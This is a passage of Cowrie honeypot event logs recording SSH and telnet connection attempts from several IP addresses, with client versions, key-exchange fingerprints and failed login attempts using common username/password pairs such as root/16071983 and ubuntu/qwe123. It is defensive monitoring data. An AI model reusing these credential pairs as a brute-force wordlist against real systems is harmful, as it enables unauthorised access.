-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:29.841812Z","src_ip":"91.92.42.133","session":"349a2f478aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:31.277252Z","src_ip":"91.92.42.133","session":"349a2f478aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:32.374427Z","src_ip":"91.92.42.133","session":"349a2f478aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37114,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2c5bc0f4a4","protocol":"telnet","message":"New connection: 172.81.62.90:37114 (10.17.0.5:23) [session: cf2c5bc0f4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:36.470800Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45412,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9c7ab75dd34","protocol":"ssh","message":"New connection: 91.92.42.133:45412 (159.203.135.109:22) [session: a9c7ab75dd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:36.894361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:37.193666Z","src_ip":"91.92.42.133","session":"a9c7ab75dd34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:37.204792Z","src_ip":"91.92.42.133","session":"a9c7ab75dd34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:38.681054Z","src_ip":"91.92.42.133","session":"a9c7ab75dd34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:40.405195Z","src_ip":"91.92.42.133","session":"a9c7ab75dd34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59604,"dst_ip":"159.203.135.109","dst_port":22,"session":"be301091d1cb","protocol":"ssh","message":"New connection: 91.92.42.133:59604 (159.203.135.109:22) [session: be301091d1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:45.199283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:45.280441Z","src_ip":"91.92.42.133","session":"be301091d1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:45.354924Z","src_ip":"91.92.42.133","session":"be301091d1cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:46.189913Z","src_ip":"91.92.42.133","session":"be301091d1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:47.556254Z","src_ip":"91.92.42.133","session":"be301091d1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49424,"dst_ip":"159.203.135.109","dst_port":23,"session":"240142aa9e4b","protocol":"telnet","message":"New connection: 172.81.62.90:49424 (159.203.135.109:23) [session: 240142aa9e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:48.322392Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59642,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5f736dbc89e","protocol":"ssh","message":"New connection: 91.92.42.133:59642 (159.203.135.109:22) [session: c5f736dbc89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:52.618032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:52.646080Z","src_ip":"91.92.42.133","session":"c5f736dbc89e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:52.744284Z","src_ip":"91.92.42.133","session":"c5f736dbc89e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passwd","message":"login attempt [ansible/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:53.286810Z","src_ip":"91.92.42.133","session":"c5f736dbc89e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:54.548901Z","src_ip":"91.92.42.133","session":"c5f736dbc89e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33166,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b13dd0dd547","protocol":"ssh","message":"New connection: 91.92.42.133:33166 (159.203.135.109:22) [session: 4b13dd0dd547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:59.355228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:59.617590Z","src_ip":"91.92.42.133","session":"4b13dd0dd547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:59.620658Z","src_ip":"91.92.42.133","session":"4b13dd0dd547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:00.812325Z","src_ip":"91.92.42.133","session":"4b13dd0dd547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:01.986297Z","src_ip":"91.92.42.133","session":"4b13dd0dd547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58288,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7581c6def7","protocol":"ssh","message":"New connection: 38.93.206.2:58288 (159.203.135.109:22) [session: 8a7581c6def7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:02.692713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:02.722930Z","src_ip":"38.93.206.2","session":"8a7581c6def7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:02.776498Z","src_ip":"38.93.206.2","session":"8a7581c6def7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16071983","message":"login attempt [root/16071983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:02.944522Z","src_ip":"38.93.206.2","session":"8a7581c6def7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:04.004475Z","src_ip":"38.93.206.2","session":"8a7581c6def7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52678,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf6d136141d8","protocol":"ssh","message":"New connection: 91.92.42.133:52678 (159.203.135.109:22) [session: cf6d136141d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:07.116908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:07.337219Z","src_ip":"91.92.42.133","session":"cf6d136141d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:07.359692Z","src_ip":"91.92.42.133","session":"cf6d136141d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootroot","message":"login attempt [user/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:08.053885Z","src_ip":"91.92.42.133","session":"cf6d136141d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:09.245020Z","src_ip":"91.92.42.133","session":"cf6d136141d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52754,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b60efb80f08","protocol":"ssh","message":"New connection: 91.92.42.133:52754 (159.203.135.109:22) [session: 4b60efb80f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:14.475557Z"}
{"eventid":"cowrie.session.closed","duration":38.10773301124573,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:14.578449Z","src_ip":"172.81.62.90","session":"cf2c5bc0f4a4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:14.761718Z","src_ip":"91.92.42.133","session":"4b60efb80f08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:14.766065Z","src_ip":"91.92.42.133","session":"4b60efb80f08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1","message":"login attempt [cloud/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:15.985133Z","src_ip":"91.92.42.133","session":"4b60efb80f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:17.263567Z","src_ip":"91.92.42.133","session":"4b60efb80f08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":45764,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f3b9bf4579","protocol":"ssh","message":"New connection: 117.121.214.50:45764 (10.17.0.5:22) [session: 74f3b9bf4579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:21.226399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:21.230698Z","src_ip":"117.121.214.50","session":"74f3b9bf4579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 